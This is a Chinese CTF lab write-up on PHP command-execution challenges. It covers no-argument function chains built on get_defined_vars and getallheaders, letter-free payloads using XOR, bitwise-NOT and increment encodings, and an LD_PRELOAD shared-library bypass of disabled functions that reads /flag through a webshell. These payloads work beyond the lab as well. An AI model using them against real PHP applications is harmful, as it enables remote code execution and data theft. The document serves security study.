PHP命令执行靶场通关记录-2
2023-5-2 18:0:6 Author: www.freebuf.com(查看原文) 阅读量:15 收藏

1 靶场WP

0x10 无参命令执行

无参执行:过滤function(args)格式的参数,只能使用function()完成命令执行

绕过方式

  1. 请求头传参,利用getallheaders()函数获取请求头,在请求头中传递参数,拆分需要的参数

  2. 全局变量传参,利用get_defined_vars()函数获取变量值,传递参数

例题代码

<?php
    error_reporting(0);
    highlight_file(__FILE__);
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
        eval($_GET['code']);
    }
?>

审计代码,发现正则表达式中过滤类似function(function(args))之类的传参(可多层嵌套),基于此,使用全局变量传参绕过

利用思路

  1. print_r(get_defined_vars())打印出当前全局变量,由于正则表达式中会判断是否为无参函数的格式,且只能为无参函数,因此不能使用echo 字串的形式输出,可以看到以数组形式输出
    image.png

  2. pos()函数获取数组第一个元素(涉及传参),print_r(pos(get_defined_vars()));
    image.png

  3. 此时如果能够增加传参a(因为只判断code的内容),可以传递想要的命令执行代码,code=print_r(pos(get_defined_vars()));&a=system('cat flag');
    image.png

  4. 由于传递的参数在末尾,使用end函数获取要执行的命令,code=print_r(end(pos(get_defined_vars())));&a=system('cat flag');
    image.png

  5. 最终去除print_r,执行该命令,payload为code=eval(end(pos(get_defined_vars())));&a=system('cat flag');,成功读取flag
    image.png

此外,还可以使用请求头绕过

  1. print_r(getallheaders());作为code传递,观察输出
    image.png

  2. 尝试增加请求头传递,观察输出,可以看到成功增加
    image.png
    image.png

  3. 和之前一样,只要能够获取cmd即可,最终payload为code=eval(pos(getallheaders()));
    image.png

0x11 无字母数字命令执行

命令执行过滤字母数字,导致直接使用常规函数进行命令执行,因此需要先对payload进行处理

常见处理方式

  1. 异或处理,构造payload后,基于payload选择非字母数字的其他可见字符绕过

  2. 取反处理,对payload进行url编码,传递参数时传取反后的内容,不会被识别为可见字符

  3. 自增处理,基于某一个字符,经过自增后确定命令使用的其他字符

1 仅过滤字母数字

例题代码

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    if(!preg_match('/[a-z0-9]/is',$_GET['cmd'])) {
        eval($_GET['cmd']);
    }
?>

审计代码,发现过滤字母数字,考虑采用上述方式首先对payload进行处理

异或处理脚本见靶场,脚本原理为遍历判断符合条件的非字母数字字符,payload为system('ls'),异或后变为$_='("((%-'^'[[[@@';$__='[,(['^'|@[|';$_($__);,成功执行
image.png
同理,也可以采用取反处理,payload为system('ls');,取反后(url编码)为$_=~('%8c%86%8c%8b%9a%92');$__=~('%93%8c');$_($__);
image.png
自增难点在于确定自增次数,有一个小技巧,可以先定义一个array,由于不包含字符数字,可以绕过,再取第一个字符A,基于该字符自增即可,payload过长,此处不放上来,靶场中脚本原理与这个差不多,可以自行构造

2 特殊字符过滤

过滤下划线
闭合原本的php代码,之后执行后面的代码,利用短标签的方式,payload为?>,其中%a0%b8%ba%ab为对_GET的取反操作,后续传参时使用%a0,由于不对该参数校验,因此可以绕过

过滤下划线和$
可以不定义定义变量$_,直接使用(~'字符串')(~'字符串')即可

过滤;~^`&|
只能采用自增的方式,分号使用短标签替换

由于payload构造复杂,在此没有复现成功(QAQ!!!),感兴趣的大佬可以按照这个思路复现

0x补充 LD_PRELOAD绕过函数禁用

LD_PRELOAD:指定该全局变量后,在程序加载动态链接库时,会优先加载该变量中指定的库

核心在于需要能够触发库加载的函数,一般为包含fork的函数

常用函数

  1. mail,php自带,可触发加载库

  2. imagemagick,需要手动安装扩展

  3. error_log

利用条件

  1. 能够上传so文件,putenv未disable

  2. 触发load过程的函数未disable

例题
image.png
查看phpinfo,发现大部分函数均被禁用

image.png
审计代码发现存在webshell,蚁剑连接,成功后可上传文件,由于设置openbase_dir,因此无法访问根目录下的flag,但可以访问/tmp

编译动态链接库,注意和linux提供的api返回值和参数一致

#include <stdio.h>
#include <stdlib.h>

int getuid(){
    unsetenv("LD_PRELOAD");
    system("cat /flag>/tmp/flag");
}

上传.so,以及修改LD_PRELOAD和调用mail函数的php脚本
image.png

访问php,触发其中代码的执行,查看/tmp下生成的flag文件
image.png

2 总结

php代码执行的难点在于无字母数字以及特殊字符的过滤,需要清楚payload中的变量对应的值,确保构造时不会出现问题

靶场部分exp已上传至github https://github.com/p0l42/phpcmd_utils.git


文章来源: https://www.freebuf.com/articles/web/365378.html
如有侵权请联系:admin#unsafe.sh